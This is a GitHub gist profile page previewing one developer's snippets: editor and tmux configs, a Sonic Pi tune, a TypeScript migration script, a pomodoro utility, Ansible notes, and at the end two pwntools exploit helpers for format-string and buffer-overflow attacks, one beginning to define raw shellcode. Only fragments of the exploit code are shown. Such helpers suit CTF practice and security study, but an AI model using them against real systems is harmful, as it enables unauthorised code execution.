Skip to content

Instantly share code, notes, and snippets.

@hexnickk
hexnickk / keybindings.json
Last active May 19, 2025 12:24
keybindings.json
[
// --- Window Navigation (Panes/Groups) ---
{
"key": "ctrl+h",
"command": "workbench.action.navigateLeft",
},
{
"key": "ctrl+j",
"command": "workbench.action.navigateDown",
},
@hexnickk
hexnickk / settings.json
Last active April 14, 2025 22:23
settings.json
{
"git.confirmSync": false,
"git.autofetch": false,
"git.enableSmartCommit": true,
// "git.enableCommitSigning": true,
"editor.showFoldingControls": "never",
"editor.minimap.enabled": false,
"editor.fontFamily": "Jetbrains Mono, Menlo, Monaco, 'Courier New', monospace",
"editor.fontSize": 14,
"editor.tabSize": 2,
# Based on https://github.com/euruband/sonic-pi-examples/blob/master/seven_nation_army.rb
tick = 1.0
half = 0.5*tick
quart = 0.25*tick
eigth = 0.125*tick
length = 8*tick
define :dotted do |note|
1.5*note
@hexnickk
hexnickk / .tmux.conf
Last active March 24, 2021 09:42
.tmux.conf
# Inspired by https://www.hamvocke.com/blog/a-guide-to-customizing-your-tmux-conf/
# vim mode
setw -g mode-keys vi
set-option -g history-limit 10000
bind-key -T copy-mode-vi 'v' send-keys -X begin-selection
bind-key -T copy-mode-vi 'y' send-keys -X copy-selection
set-option -s set-clipboard off
@hexnickk
hexnickk / typescript-strict-migration.sh
Last active June 17, 2021 20:08
Typescript migration helper
#!/usr/bin/env zsh
# Super dummy script to add @ts-expect-error to all typescript strcit mode errors
# So we are able to migrate with small steps
RET=1
until [ $RET -eq 0 ]; do
echo 'Running tsc...'
OUT=$(./node_modules/.bin/tsc --noEmit)
RET=$? # will repeat if there are any errors
@hexnickk
hexnickk / pymodoro.py
Created October 3, 2019 09:20
Dummy osx utility, which helps to work with pomodoro timer intervals
#!/usr/bin/env python3
from subprocess import run, Popen
from re import search
from time import sleep
# NOTE: you will need to install `brightness` utility
# `brew install brightness`
BRIGHTNESS_STEP = 0.2
@hexnickk
hexnickk / tmpState.store.js
Last active March 22, 2019 15:02
ngxs ctx.resetState
import { SetState } from './tmpState.actions';
import { State, Action } from '@ngxs/store';
let myDefaults: any;
// get default state
const stateHandler = {
apply: function (target, thisArg, argumentsList) {
myDefaults = argumentsList[0].defaults;
return target.apply(thisArg, argumentsList);
@hexnickk
hexnickk / CoreSearchEnv
Created May 28, 2017 11:10
How to deploy environment for CoreSearch
## Installation
$ git clone --recursive https://github.com/kozlovzxc/CoreSearchEnv
$ cd CoreSearchEnv
// * install ansible
// https://docs.ansible.com/ansible/intro_installation.html
## Writing inventory file
// more info here https://docs.ansible.com/ansible/intro_inventory.html#host-variables
// * edit inventory
$ cat inventory
@hexnickk
hexnickk / FormatStringBugAutopwn
Created December 28, 2016 20:04
Format String Bug exploitation with pwntools example
#!/usr/bin/python2.7
import argparse
import re
import pwnlib
def execute_with_payload(binary_name, payload):
ans = ""
proc = pwnlib.tubes.process.process(
@hexnickk
hexnickk / BuffAutopwn.py
Created December 28, 2016 16:20
Buffer overflow(shellcode + ret-to-libc) pwntools example
#!/usr/bin/python2
import argparse
from itertools import ifilter
import pwnlib
def generate_shellcode_exploit(eip_offset, esp, nopsled_size, custom_shellcode):
shellcode = custom_shellcode if custom_shellcode else (
'\xeb\x0b\x5b\x31'